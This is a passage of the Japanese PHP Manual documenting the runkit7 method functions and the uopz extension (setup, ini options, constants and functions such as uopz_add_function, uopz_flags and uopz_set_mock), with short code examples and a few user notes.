The name of the method to remove

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 runkit7_method_remove() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }

    function bar() {
        return "bar!\n";
    }
}

// Remove the 'foo' method
runkit7_method_remove(
    'Example',
    'foo'
);

echo implode(' ', get_class_methods('Example'));

?>

上の例の出力は以下となります。

bar

参考

  • runkit7_method_add() - Dynamically adds a new method to a given class
  • runkit7_method_copy() - Copies a method from class to another
  • runkit7_method_redefine() - Dynamically changes the code of the given method
  • runkit7_method_rename() - Dynamically changes the name of the given method
  • runkit7_function_remove() - Remove a function definition

User Contributed Notes

There are no user contributed notes for this page.


Dynamically changes the name of the given method

  • ≪ runkit7_method_remove
  • runkit7_object_id ≫
  • PHP Manual
  • runkit7 関数
  • Dynamically changes the name of the given method

runkit7_method_rename

(PECL runkit7 >= Unknown)

runkit7_method_rename — Dynamically changes the name of the given method

説明

runkit7_method_rename ( string $classname , string $methodname , string $newname ) : bool

注意: この関数は、 現在実行中(もしくはチェーンド)のメソッドを操作することはできません。

パラメータ

classname

The class in which to rename the method

methodname

The name of the method to rename

newname

The new name to give to the renamed method

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 runkit7_method_rename() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// Rename the 'foo' method to 'bar'
runkit7_method_rename(
    'Example',
    'foo',
    'bar'
);

// output renamed function
echo Example::bar();
?>

上の例の出力は以下となります。

foo!

参考

  • runkit7_method_add() - Dynamically adds a new method to a given class
  • runkit7_method_copy() - Copies a method from class to another
  • runkit7_method_redefine() - Dynamically changes the code of the given method
  • runkit7_method_remove() - Dynamically removes the given method
  • runkit7_function_rename() - Change a function's name

User Contributed Notes

There are no user contributed notes for this page.


Return the integer object handle for given object

  • ≪ runkit7_method_rename
  • runkit7_superglobals ≫
  • PHP Manual
  • runkit7 関数
  • Return the integer object handle for given object

runkit7_object_id

(PECL runkit7 >= Unknown)

runkit7_object_id — Return the integer object handle for given object

説明

runkit7_object_id ( object $obj ) : int

This function returns a unique identifier for the object. The object id is unique for the lifetime of the object. Once the object is destroyed, its id may be reused for other objects. This behavior is similar to spl_object_hash().

パラメータ

obj

Any object.

返り値

An integer identifier that is unique for each currently existing object and is always the same for each object.

注意

注意:

When an object is destroyed, its id may be reused for other objects.

User Contributed Notes

There are no user contributed notes for this page.


Return numerically indexed array of registered superglobals

  • ≪ runkit7_object_id
  • runkit7_zval_inspect ≫
  • PHP Manual
  • runkit7 関数
  • Return numerically indexed array of registered superglobals

runkit7_superglobals

(PECL runkit7 >= Unknown)

runkit7_superglobals — Return numerically indexed array of registered superglobals

説明

runkit7_superglobals ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

Returns a numerically indexed array of the currently registered superglobals. i.e. _GET, _POST, _REQUEST, _COOKIE, _SESSION, _SERVER, _ENV, _FILES

参考

  • Variable Scope

User Contributed Notes

There are no user contributed notes for this page.


Returns information about the passed in value with data types, reference counts, etc

  • ≪ runkit7_superglobals
  • uopz ≫
  • PHP Manual
  • runkit7 関数
  • Returns information about the passed in value with data types, reference counts, etc

runkit7_zval_inspect

(PECL runkit7 >= Unknown)

runkit7_zval_inspect — Returns information about the passed in value with data types, reference counts, etc

説明

runkit7_zval_inspect ( string $value ) : array

パラメータ

value

The value to return the representation of

User Contributed Notes

There are no user contributed notes for this page.


Zend に対するユーザー操作

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Uopz 関数
    • uopz_add_function — Adds non-existent function or method
    • uopz_allow_exit — Allows control over disabled exit opcode
    • uopz_backup — Backup a function
    • uopz_compose — Compose a class
    • uopz_copy — Copy a function
    • uopz_del_function — Deletes previously added function or method
    • uopz_delete — Delete a function
    • uopz_extend — 実行時にクラスを継承させる
    • uopz_flags — 関数またはクラスのフラグを 取得/設定 する
    • uopz_function — Creates a function at runtime
    • uopz_get_exit_status — Retrieve the last set exit status
    • uopz_get_hook — Gets previously set hook on function or method
    • uopz_get_mock — Get the current mock for a class
    • uopz_get_property — Gets value of class or instance property
    • uopz_get_return — Gets a previous set return value for a function
    • uopz_get_static — Gets the static variables from function or method scope
    • uopz_implement — 実行時にインターフェイスを実装させる
    • uopz_overload — Overload a VM opcode
    • uopz_redefine — 定数を再定義
    • uopz_rename — Rename a function at runtime
    • uopz_restore — Restore a previously backed up function
    • uopz_set_hook — Sets hook to execute when entering a function or method
    • uopz_set_mock — Use mock instead of class for new objects
    • uopz_set_property — Sets value of existing class or instance property
    • uopz_set_return — Provide a return value for an existing function
    • uopz_set_static — Sets the static variables in function or method scope
    • uopz_undefine — 定数を未定義化
    • uopz_unset_hook — Removes previously set hook on function or method
    • uopz_unset_mock — Unset previously set mock
    • uopz_unset_return — Unsets a previously set return value for a function

User Contributed Notes

There are no user contributed notes for this page.


はじめに

uopz (User Operations for Zend) エクステンションは、 コンパイル時および実行時に通常使用される Zend Engine の機能を公開します。 その目的は、PHP コードを表す内部構造の変更を可能にすること、 およびユーザーのコードが VM と対話できるようにすることです。

uopz は、以下のアクティビティをサポートします。

  • ZEND_EXIT および ZEND_NEW を含む一部のオペコードをオーバーロード
  • 関数およびメソッドをバックアップおよびリストア
  • 関数およびメソッドの名前を変更
  • 関数およびメソッドのコピー
  • 関数およびメソッドの削除
  • グローバル定数およびクラス定数の再定義
  • グローバル定数およびクラス定数の削除
  • クラスのランタイム構成および変更

注意:

すべてのサポートされるアクティビティは、opcache と互換性があります。

警告

PECL uopz 6.1.1 は、Xdebug >= 2.9.4 と互換性がありません。 これ以後のバージョンの uopz は、Xdebug < 2.9.4 と互換性がありません。

User Contributed Notes

There are no user contributed notes for this page.


要件

uopz 2 には PHP 5.4 以降、uopz 5.0 には PHP 7 が必要です。 uopz 5.1 以降は PHP 7.1 以降が必要です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

uopz のリリースは PECL でホストされています。 ソースコードは » github でホストされています。 インストールする最も簡単な方法は、いつもの PECL から行うことです。 » https://pecl.php.net/package/uopz

Windows ユーザーは、» PECL Web サイトからビルド済みのリリースバイナリーをダウンロードすることができます。

uopz 5.0.0 以降、この拡張は extension としてロードされる必要があります。 このバージョンより前は、zend_extension としてロードされる必要があります。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

uopz 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
uopz.disable | "0" | PHP_INI_SYSTEM | uopz 5.0.2 以降で利用可能
uopz.exit | "0" | PHP_INI_SYSTEM | uopz 6.0.1 以降で利用可能
uopz.overloads | "1" | PHP_INI_SYSTEM | uopz 2.0.2 以降で利用可能。uopz 5.0.0 以降は削除されています
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

uopz.disable bool

true にすると、uopz はエンジンに影響を及ぼさなくなります。

uopz.exit bool

exit オペコードの実行を許可するかどうかを指定します。 この設定は uopz_allow_exit() を呼ぶことで 実行時に上書きすることができます。

uopz.exit bool

uopz_overload() 関数を使えるようにします。

注意: OPcache が有効になっている場合、 OPcache の最適化レベル を無効にする必要があるかもしれません。 (opcache.optimization_level=0)

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

The following opcodes are defined as constants by uopz before 5.0.0:

ZEND_EXIT (int)
Invoked by exit() and die(), receives no arguments. Return boolean true to exit, false to continue
ZEND_NEW (int)
Invoked by object construction, receives the class of object being created as the only argument
ZEND_THROW (int)
Invoked by the throw construct, receives the class of exception being thrown as the only argument
ZEND_FETCH_CLASS (int)
Invoked upon composure, receives the class the name of the class being fetched as the only argument
ZEND_ADD_TRAIT (int)
Invoked upon composure, receives the class the trait is being added to as the first argument, and the name of the trait as the second argument
ZEND_ADD_INTERFACE (int)
Invoked upon composure, receives the class the interface is being added to as the first argument, and the name of the interface as the second argument
ZEND_INSTANCEOF (int)
Invoked by instanceof operator, receives the object being verified as the first argument, and the name of the class which that object should be as the second argument

The following constants control the VM's behaviour after a user handler is invoked, be extremely careful! These constants are removed as of uopz 5.0.0.

ZEND_USER_OPCODE_CONTINUE (int)
Advance 1 opcode and continuue
ZEND_USER_OPCODE_ENTER (int)
Enter into new op_array without recursion
ZEND_USER_OPCODE_LEAVE (int)
Return to calling op_array within the same executor
ZEND_USER_OPCODE_DISPATCH (int)
Dispatch to original opcode handler
ZEND_USER_OPCODE_DISPATCH_TO (int)
Dispatch to a specific handler (OR'd with ZEND opcode constant)
ZEND_USER_OPCODE_RETURN (int)
Exit from executor (return from function)

The following modifiers are registered as constants by uopz

ZEND_ACC_PUBLIC (int)
Mark function as public, the default
ZEND_ACC_PROTECTED (int)
Mark function as protected
ZEND_ACC_PRIVATE (int)
Mark function as private
ZEND_ACC_STATIC (int)
Mark function as static
ZEND_ACC_FINAL (int)
Mark function as final
ZEND_ACC_ABSTRACT (int)
Mark function as abstract
ZEND_ACC_CLASS (int)
Dummy registered for consistency, the default kind of class entry. Removed as of uopz 5.0.0.
ZEND_ACC_INTERFACE (int)
Mark class as interface. Removed as of uopz 5.0.0.
ZEND_ACC_TRAIT (int)
Mark class as trait. Removed as of uopz 5.0.0.
ZEND_ACC_FETCH (int)
Used for getting flags only. Removed as of uopz 5.0.0.

User Contributed Notes

ASchmidt at Anamera dot net 20-Mar-2018 03:37
At least with uops 5.02 and PHP 7.2 (Win64), the constant ZEND_ACC_FETCH is not defined - while others are.

You can use:

if ( !defined( 'ZEND_ACC_FETCH' ) )
    define( 'ZEND_ACC_FETCH', PHP_INT_MAX );


Uopz 関数

目次

  • uopz_add_function — Adds non-existent function or method
  • uopz_allow_exit — Allows control over disabled exit opcode
  • uopz_backup — Backup a function
  • uopz_compose — Compose a class
  • uopz_copy — Copy a function
  • uopz_del_function — Deletes previously added function or method
  • uopz_delete — Delete a function
  • uopz_extend — 実行時にクラスを継承させる
  • uopz_flags — 関数またはクラスのフラグを 取得/設定 する
  • uopz_function — Creates a function at runtime
  • uopz_get_exit_status — Retrieve the last set exit status
  • uopz_get_hook — Gets previously set hook on function or method
  • uopz_get_mock — Get the current mock for a class
  • uopz_get_property — Gets value of class or instance property
  • uopz_get_return — Gets a previous set return value for a function
  • uopz_get_static — Gets the static variables from function or method scope
  • uopz_implement — 実行時にインターフェイスを実装させる
  • uopz_overload — Overload a VM opcode
  • uopz_redefine — 定数を再定義
  • uopz_rename — Rename a function at runtime
  • uopz_restore — Restore a previously backed up function
  • uopz_set_hook — Sets hook to execute when entering a function or method
  • uopz_set_mock — Use mock instead of class for new objects
  • uopz_set_property — Sets value of existing class or instance property
  • uopz_set_return — Provide a return value for an existing function
  • uopz_set_static — Sets the static variables in function or method scope
  • uopz_undefine — 定数を未定義化
  • uopz_unset_hook — Removes previously set hook on function or method
  • uopz_unset_mock — Unset previously set mock
  • uopz_unset_return — Unsets a previously set return value for a function

User Contributed Notes

There are no user contributed notes for this page.


Adds non-existent function or method

  • ≪ Uopz 関数
  • uopz_allow_exit ≫
  • PHP Manual
  • Uopz 関数
  • Adds non-existent function or method

uopz_add_function

(PECL uopz 5, PECL uopz 6)

uopz_add_function — Adds non-existent function or method

説明

uopz_add_function ( string $function , Closure $handler , int &$flags = ZEND_ACC_PUBLIC ) : bool
uopz_add_function ( string $class , string $function , Closure $handler , int &$flags = ZEND_ACC_PUBLIC , int &$all = true ) : bool

Adds a non-existent function or method.

パラメータ

class

The name of the class.

function

The name of the function or method.

handler

The Closure that defines the new function or method.

flags

Flags to set for the new function or method.

all

Whether all classes that descend from class will also be affected.

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

uopz_add_function() throws a RuntimeException if the function or method to add already exists.

例

例1 Basic uopz_add_function() Usage

<?php
uopz_add_function('foo', function () {echo 'bar';});
foo();
?>

上の例の出力は以下となります。

bar

参考

  • uopz_del_function() - Deletes previously added function or method
  • uopz_set_return() - Provide a return value for an existing function

User Contributed Notes

There are no user contributed notes for this page.


Allows control over disabled exit opcode

  • ≪ uopz_add_function
  • uopz_backup ≫
  • PHP Manual
  • Uopz 関数
  • Allows control over disabled exit opcode

uopz_allow_exit

(PECL uopz 5, PECL uopz 6)

uopz_allow_exit — Allows control over disabled exit opcode

説明

uopz_allow_exit ( bool $allow ) : void

By default uopz disables the exit opcode, so exit() calls are practically ignored. uopz_allow_exit() allows to control this behavior.

パラメータ

allow

Whether to allow the execution of exit opcodes or not.

返り値

値を返しません。

例

例1 uopz_allow_exit() example

<?php
exit(1);
echo 1;
uopz_allow_exit(true);
exit(2);
echo 2;
?>

上の例の出力は以下となります。

1

注意

警告

OPcache optimizes away dead code after unconditional exit.

参考

  • uopz_get_exit_status() - Retrieve the last set exit status

User Contributed Notes

There are no user contributed notes for this page.


Backup a function

  • ≪ uopz_allow_exit
  • uopz_compose ≫
  • PHP Manual
  • Uopz 関数
  • Backup a function

uopz_backup

(PECL uopz 1 >= 1.0.3, PECL uopz 2)

uopz_backup — Backup a function

警告

この関数は、PECL uopz 5.0.0 で 削除 されました。

説明

uopz_backup ( string $function ) : void
uopz_backup ( string $class , string $function ) : void

Backup a function at runtime, to be restored on shutdown

パラメータ

class

The name of the class containing the function to backup

function

The name of the function

返り値

例

例1 uopz_backup() example

<?php
uopz_backup("fgets");
uopz_function("fgets", function(){
    return true;
});
var_dump(fgets());
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Compose a class

  • ≪ uopz_backup
  • uopz_copy ≫
  • PHP Manual
  • Uopz 関数
  • Compose a class

uopz_compose

(PECL uopz 1, PECL uopz 2)

uopz_compose — Compose a class

警告

この関数は、PECL uopz 5.0.0 で 削除 されました。

説明

uopz_compose ( string $name , array $classes , array $methods = ? , array $properties = ? , int $flags = ? ) : void

Creates a new class of the given name that implements, extends, or uses all of the provided classes

パラメータ

name

A legal class name

classes

An array of class, interface and trait names

methods

An associative array of methods, values are either closures or [modifiers => closure]

properties

An associative array of properties, keys are names, values are modifiers

flags

Entry type, by default ZEND_ACC_CLASS

返り値

例

例1 uopz_compose() example

<?php
class myClass {}
trait myTrait {}
interface myInterface {}

uopz_compose(
    Composed::class, [
        myClass::class,
        myTrait::class,
        myInterface::class
    ], [
    "__construct" => function() {
        /* ... */
    }
]);

var_dump(
 class_uses(Composed::class),
 class_parents(Composed::class),
 class_implements(Composed::class));
?>

上の例の出力は以下となります。

array(1) {
  ["myTrait"]=>
  string(7) "myTrait"
}
array(1) {
  ["myClass"]=>
  string(7) "myClass"
}
array(1) {
  ["myInterface"]=>
  string(11) "myInterface"
}

User Contributed Notes

There are no user contributed notes for this page.


Copy a function

  • ≪ uopz_compose
  • uopz_del_function ≫
  • PHP Manual
  • Uopz 関数
  • Copy a function

uopz_copy

(PECL uopz 1 >= 1.0.4, PECL uopz 2)

uopz_copy — Copy a function

警告

この関数は、PECL uopz 5.0.0 で 削除 されました。

説明

uopz_copy ( string $function ) : Closure
uopz_copy ( string $class , string $function ) : Closure

Copy a function by name

パラメータ

class

The name of the class containing the function to copy

function

The name of the function

返り値

A Closure for the specified function

例

例1 uopz_copy() example

<?php
$strtotime = uopz_copy('strtotime');

uopz_function("strtotime", function($arg1, $arg2) use($strtotime) {
    /* can call original strtotime from here */
    var_dump($arg1);
});

var_dump(strtotime('dummy'));
?>

上の例の出力は以下となります。

string(5) "dummy"

User Contributed Notes

There are no user contributed notes for this page.


Deletes previously added function or method

  • ≪ uopz_copy
  • uopz_delete ≫
  • PHP Manual
  • Uopz 関数
  • Deletes previously added function or method

uopz_del_function

(PECL uopz 5, PECL uopz 6)

uopz_del_function — Deletes previously added function or method

説明

uopz_del_function ( string $function ) : bool
uopz_del_function ( string $class , string $function , int &$all = true ) : bool

Deletes a previously added function or method.

パラメータ

class

The name of the class.

function

The name of the function or method.

all

Whether all classes that descend from class will also be affected.

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

uopz_del_function() throws a RuntimeException if the function or method to delete has not been added by uopz_add_function().

例

例1 Basic uopz_del_function() Usage

<?php
uopz_add_function('foo', function () {echo 'bar';});
var_dump(function_exists('foo'));
uopz_del_function('foo');
var_dump(function_exists('foo'));
?>

上の例の出力は以下となります。

bool(true)
bool(false)

参考

  • uopz_add_function() - Adds non-existent function or method
  • uopz_unset_return() - Unsets a previously set return value for a function

User Contributed Notes

There are no user contributed notes for this page.


Delete a function

  • ≪ uopz_del_function
  • uopz_extend ≫
  • PHP Manual
  • Uopz 関数
  • Delete a function

uopz_delete

(PECL uopz 1, PECL uopz 2)

uopz_delete — Delete a function

警告

この関数は、PECL uopz 5.0.0 で 削除 されました。

説明

uopz_delete ( string $function ) : void
uopz_delete ( string $class , string $function ) : void

Deletes a function or method

パラメータ

class

function

返り値

例

例1 uopz_delete() example

<?php
uopz_delete("strlen");

echo strlen("Hello World");
?>

上の例の出力は、 たとえば以下のようになります。

PHP Fatal error: Call to undefined function strlen() in /path/to/script.php on line 4

例2 uopz_delete() class example

<?php
class My {
    public static function strlen($arg) {
        return strlen($arg);
    }
}

uopz_delete(My::class, "strlen");

echo My::strlen("Hello World");
?>

上の例の出力は、 たとえば以下のようになります。

PHP Fatal error: Call to undefined method My::strlen() in /path/to/script.php on line 10

User Contributed Notes

There are no user contributed notes for this page.


実行時にクラスを継承させる

  • ≪ uopz_delete
  • uopz_flags ≫
  • PHP Manual
  • Uopz 関数
  • 実行時にクラスを継承させる

uopz_extend

(PECL uopz 1, PECL uopz 2, PECL uopz 5, PECL uopz 6)

uopz_extend — 実行時にクラスを継承させる

説明

uopz_extend ( string $class , string $parent ) : bool

class に parent を継承させます。

パラメータ

class

拡張するクラスの名前

parent

継承するクラスの名前

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

PHP 7.4.0 以降では、 OPcache が有効になっており、 かつ class または parent が変更不能な場合(トレイトの場合も)、 uopz_extends() 関数は RuntimeException をスローするようになりました。

例

例1 uopz_extend() の例

<?php
class A {}
class B {}

uopz_extend(A::class, B::class);

var_dump(class_parents(A::class));
?>

上の例の出力は以下となります。

array(1) {
  ["B"]=>
  string(1) "B"
}

User Contributed Notes

There are no user contributed notes for this page.


関数またはクラスのフラグを 取得/設定 する

  • ≪ uopz_extend
  • uopz_function ≫
  • PHP Manual
  • Uopz 関数
  • 関数またはクラスのフラグを 取得/設定 する

uopz_flags

(PECL uopz 2 >= 2.0.2, PECL uopz 5, PECL uopz 6)

uopz_flags — 関数またはクラスのフラグを 取得/設定 する

説明

uopz_flags ( string $function , int $flags = PHP_INT_MAX ) : int
uopz_flags ( string $class , string $function , int $flags = PHP_INT_MAX ) : int

実行時にクラスまたは関数エントリのフラグを 取得/設定 します。

パラメータ

class

クラス名を指定します。

function

関数名を指定します。 class が指定され、 かつ function の値にから文字列が指定されると、 uopz_flags() はクラスエントリのフラグを取得または設定します。

flags

ZEND_ACC_ フラグの有効なセット。 省略された場合、uopz_flags() 関数が getter として振る舞います。

返り値

フラグを設定する場合、古いフラグを返します。それ以外の場合、現在のフラグを返します。

エラー / 例外

PHP 7.4.0 以降で flags が渡された場合は、 OPcache が有効になっており、 かつ class や function のエントリが変更不能な場合、 RuntimeException をスローするようになりました。

変更履歴

バージョン | 説明
PECL uopz 5.0.0 | flags はオプションになりました。 このバージョンより前は、 uopz_flags() を getter として使うために ZEND_ACC_FETCH を渡さなければなりませんでした。

例

例1 uopz_flags() の例

<?php
class Test {
    public function method() {
        return __CLASS__;
    }
}

$flags = uopz_flags("Test", "method");

var_dump((bool) (uopz_flags("Test", "method") & ZEND_ACC_PRIVATE));
var_dump((bool) (uopz_flags("Test", "method") & ZEND_ACC_STATIC));

var_dump(uopz_flags("Test", "method", $flags|ZEND_ACC_STATIC|ZEND_ACC_PRIVATE));

var_dump((bool) (uopz_flags("Test", "method") & ZEND_ACC_PRIVATE));
var_dump((bool) (uopz_flags("Test", "method") & ZEND_ACC_STATIC));
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
bool(false)
int(1234567890)
bool(true)
bool(true)

例2 クラスの final 宣言を外す

<?php
final class MyClass
{
}

$flags = uopz_flags(MyClass::class, '');
uopz_flags(MyClass::class, '', $flags & ~ZEND_ACC_FINAL);
var_dump((new ReflectionClass(MyClass::class))->isFinal());
?>

上の例の出力は以下となります。

bool(false)

User Contributed Notes

ASchmidt at Anamera dot net 05-Dec-2020 06:37
To clarify the above hint:
"...the class entry of class or the function entry of function is immutable"

Neither PHP class or function definitions have any "immutable" keyword - so this note is confusing, as it implies that a PHP programmer has any control over this. In reality, the "immutable" state mentioned is an internally-controlled optimization/shared memory feature of OPcache.

Consequently, if one has a need to set (alter) the flags of a PHP class or function by means of "uopz_flags()", then it is necessary to EXCLUDE the PHP script of the referenced class or function from OPcache, using the "opcache.blacklist_filename" INI parameter.
ASchmidt at Anamera dot net 19-Jul-2018 04:44
If the method name is set to an empty string, then the flags for the CLASS itself will be affected, instead of an individual method. This can be used to remove the "final" attribute from a class.
<?php
declare(strict_types=1);

final class MyClass { function mymethod() {} };
uopz_flags(MyClass::class, '', 0);
?>

Note: Although not documented, setting the method to NULL will also target the CLASS flags, however, that syntax will clash with strict types because of the developer's improper function signature.


Creates a function at runtime

  • ≪ uopz_flags
  • uopz_get_exit_status ≫
  • PHP Manual
  • Uopz 関数
  • Creates a function at runtime

uopz_function

(PECL uopz 1, PECL uopz 2)

uopz_function — Creates a function at runtime

警告

この関数は、PECL uopz 5.0.0 で 削除 されました。

説明

uopz_function ( string $function , Closure $handler , int $modifiers = ? ) : void
uopz_function ( string $class , string $function , Closure $handler , int $modifiers = ? ) : void

Creates a function at runtime

パラメータ

class

The name of the class to receive the new function

function

The name of the function

handler

The Closure for the function

modifiers

The modifiers for the function, by default copied or ZEND_ACC_PUBLIC

返り値

例

例1 uopz_function() example

<?php
uopz_function("my_strlen", function($arg) {
    return strlen($arg);
});
echo my_strlen("Hello World");
?>

上の例の出力は以下となります。

11

例2 uopz_function() class example

<?php
class My {}

uopz_function(My::class, "strlen", function($arg) {
    return strlen($arg);
}, ZEND_ACC_STATIC);

echo My::strlen("Hello World");
?>

上の例の出力は以下となります。

11

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the last set exit status

  • ≪ uopz_function
  • uopz_get_hook ≫
  • PHP Manual
  • Uopz 関数
  • Retrieve the last set exit status

uopz_get_exit_status

(PECL uopz 5, PECL uopz 6)

uopz_get_exit_status — Retrieve the last set exit status

説明

uopz_get_exit_status ( ) : mixed

Retrieves the last set exit status, i.e. the value passed to exit().

パラメータ

この関数にはパラメータはありません。

返り値

This function returns the last exit status, or null if exit() has not been called.

例

例1 uopz_get_exit_status() example

<?php
exit(123);
echo uopz_get_exit_status();?>

上の例の出力は以下となります。

123

注意

警告

OPcache optimizes away dead code after unconditional exit.

参考

  • uopz_allow_exit() - Allows control over disabled exit opcode

User Contributed Notes

There are no user contributed notes for this page.


Gets previously set hook on function or method

  • ≪ uopz_get_exit_status
  • uopz_get_mock ≫
  • PHP Manual
  • Uopz 関数
  • Gets previously set hook on function or method

uopz_get_hook

(PECL uopz 5, PECL uopz 6)

uopz_get_hook — Gets previously set hook on function or method

説明

uopz_get_hook ( string $function ) : Closure
uopz_get_hook ( string $class , string $function ) : Closure

Gets the previously set hook on a function or method.

パラメータ

class

The name of the class.

function

The name of the function or method.

返り値

Returns the previously set hook on a function or method, or null if no hook has been set.

例

例1 Basic uopz_get_hook() Usage

<?php
function foo() {
    echo 'foo';
}
uopz_set_hook('foo', function () {echo 'bar';});
var_dump(uopz_get_hook('foo'));
?>

上の例の出力は、 たとえば以下のようになります。

object(Closure)#2 (0) {
}

参考

  • uopz_set_hook() - Sets hook to execute when entering a function or method
  • uopz_unset_hook() - Removes previously set hook on function or method

User Contributed Notes

There are no user contributed notes for this page.


Get the current mock for a class

  • ≪ uopz_get_hook
  • uopz_get_property ≫
  • PHP Manual
  • Uopz 関数
  • Get the current mock for a class

uopz_get_mock

(PECL uopz 5, PECL uopz 6)

uopz_get_mock — Get the current mock for a class

説明

uopz_get_mock ( string $class ) : mixed

Returns the current mock for class.

パラメータ

class

The name of the mocked class.

返り値

Either a string containing the name of the mock, or an object, or null if no mock has been set.

例

例1 uopz_get_mock() example

<?php
class A {
    public static function who() {
        echo "A";
    }
}

class mockA {
    public static function who() {
        echo "mockA";
    }
}

uopz_set_mock(A::class, mockA::class);
echo uopz_get_mock(A::class);
?>

上の例の出力は以下となります。

mockA

参考

  • uopz_set_mock() - Use mock instead of class for new objects
  • uopz_unset_mock() - Unset previously set mock

User Contributed Notes

There are no user contributed notes for this page.


Gets value of class or instance property

  • ≪ uopz_get_mock
  • uopz_get_return ≫
  • PHP Manual
  • Uopz 関数
  • Gets value of class or instance property

uopz_get_property

(PECL uopz 5, PECL uopz 6)

uopz_get_property — Gets value of class or instance property

説明

uopz_get_property ( string $class , string $property ) : mixed
uopz_get_property ( object $instance , string $property ) : mixed

Gets the value of a static class property, if class is given, or the value of an instance property, if instance is given.

パラメータ

class

The name of the class.

instance

The object instance.

property

The name of the property.

返り値

Returns the value of the class or instance property, or null if the property is not defined.

例

例1 Basic uopz_get_property() Usage

<?php
class Foo {
    private static $staticBar = 10;
    private $bar = 100;
}
$foo = new Foo;
var_dump(uopz_get_property('Foo', 'staticBar'));
var_dump(uopz_get_property($foo, 'bar'));
?>

上の例の出力は、 たとえば以下のようになります。

int(10)
int(100)

参考

  • uopz_set_property() - Sets value of existing class or instance property

User Contributed Notes

There are no user contributed notes for this page.


Gets a previous set return value for a function

  • ≪ uopz_get_property
  • uopz_get_static ≫
  • PHP Manual
  • Uopz 関数
  • Gets a previous set return value for a function

uopz_get_return

(PECL uopz 5, PECL uopz 6)

uopz_get_return — Gets a previous set return value for a function

説明

uopz_get_return ( string $function ) : mixed
uopz_get_return ( string $class , string $function ) : mixed

Gets the return value of the function previously set by uopz_set_return().

パラメータ

class

The name of the class containing the function

function

The name of the function

返り値

The return value or Closure previously set.

例

例1 uopz_get_return() example

<?php
uopz_set_return("strlen", 42);
echo uopz_get_return("strlen");
?>

上の例の出力は以下となります。

42

User Contributed Notes

There are no user contributed notes for this page.


Gets the static variables from function or method scope

  • ≪ uopz_get_return
  • uopz_implement ≫
  • PHP Manual
  • Uopz 関数
  • Gets the static variables from function or method scope

uopz_get_static

(PECL uopz 5, PECL uopz 6)

uopz_get_static — Gets the static variables from function or method scope

説明

uopz_get_static ( string $class , string $function ) : array
uopz_get_static ( string $function ) : array

Gets the static variables from function or method scope.

パラメータ

class

The name of the class.

function

The name of the function or method.

返り値

Returns an associative array of variable names mapped to their current values on success, or null if the function or method does not exist.

例

例1 Basic uopz_get_static() Usage

<?php
function foo() {
    static $bar = 'baz';
}
var_dump(uopz_get_static('foo'));
?>

上の例の出力は以下となります。

array(1) {
  ["bar"]=>
  string(3) "baz"
}

参考

  • uopz_set_static() - Sets the static variables in function or method scope

User Contributed Notes

There are no user contributed notes for this page.


実行時にインターフェイスを実装させる

  • ≪ uopz_get_static
  • uopz_overload ≫
  • PHP Manual
  • Uopz 関数
  • 実行時にインターフェイスを実装させる

uopz_implement

(PECL uopz 1, PECL uopz 2, PECL uopz 5, PECL uopz 6)

uopz_implement — 実行時にインターフェイスを実装させる

説明

uopz_implement ( string $class , string $interface ) : bool

class にinterface を実装させます。

パラメータ

class

interface

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

PHP 7.4.0 以降では、 OPcache が有効になっており、 かつ class のエントリが変更不能な場合、 uopz_implements() 関数は RuntimeException をスローするようになりました。

例

例1 uopz_implement() の例

<?php
interface myInterface {}

class myClass {}

uopz_implement(myClass::class, myInterface::class);

var_dump(class_implements(myClass::class));
?>

上の例の出力は以下となります。

array(1) {
  ["myInterface"]=>
  string(11) "myInterface"
}

User Contributed Notes

There are no user contributed notes for this page.


Overload a VM opcode

  • ≪ uopz_implement
  • uopz_redefine ≫
  • PHP Manual
  • Uopz 関数
  • Overload a VM opcode

uopz_overload

(PECL uopz 1, PECL uopz 2)

uopz_overload — Overload a VM opcode

警告

この関数は、PECL uopz 5.0.0 で 削除 されました。

説明

uopz_overload ( int $opcode , Callable $callable ) : void

Overloads the specified opcode with the user defined function

パラメータ

opcode

A valid opcode, see constants for details of supported codes

callable

返り値

例

例1 uopz_overload() example

<?php
uopz_overload(ZEND_EXIT, function(){});

exit();
echo "Hello World";
?>

上の例の出力は以下となります。

Hello World

User Contributed Notes

There are no user contributed notes for this page.


定数を再定義

  • ≪ uopz_overload
  • uopz_rename ≫
  • PHP Manual
  • Uopz 関数
  • 定数を再定義

uopz_redefine

(PECL uopz 1, PECL uopz 2, PECL uopz 5, PECL uopz 6)

uopz_redefine — 定数を再定義

説明

uopz_redefine ( string $constant , mixed $value ) : bool
uopz_redefine ( string $class , string $constant , mixed $value ) : bool

指定された constant を value として再定義します。

パラメータ

class

定数を含むクラスの名前

constant

定数名

value

定数の新しい値。定数のバリアブルに対して有効な型にする必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 uopz_redefine() の例

<?php
define("MY", 100);

uopz_redefine("MY", 1000);

echo MY;
?>

上の例の出力は以下となります。

1000

User Contributed Notes

There are no user contributed notes for this page.


Rename a function at runtime

  • ≪ uopz_redefine
  • uopz_restore ≫
  • PHP Manual
  • Uopz 関数
  • Rename a function at runtime

uopz_rename

(PECL uopz 1, PECL uopz 2)

uopz_rename — Rename a function at runtime

警告

この関数は、PECL uopz 5.0.0 で 削除 されました。

説明

uopz_rename ( string $function , string $rename ) : void
uopz_rename ( string $class , string $function , string $rename ) : void

Renames function to rename

注意:

If both functions exist, this effectively swaps their names

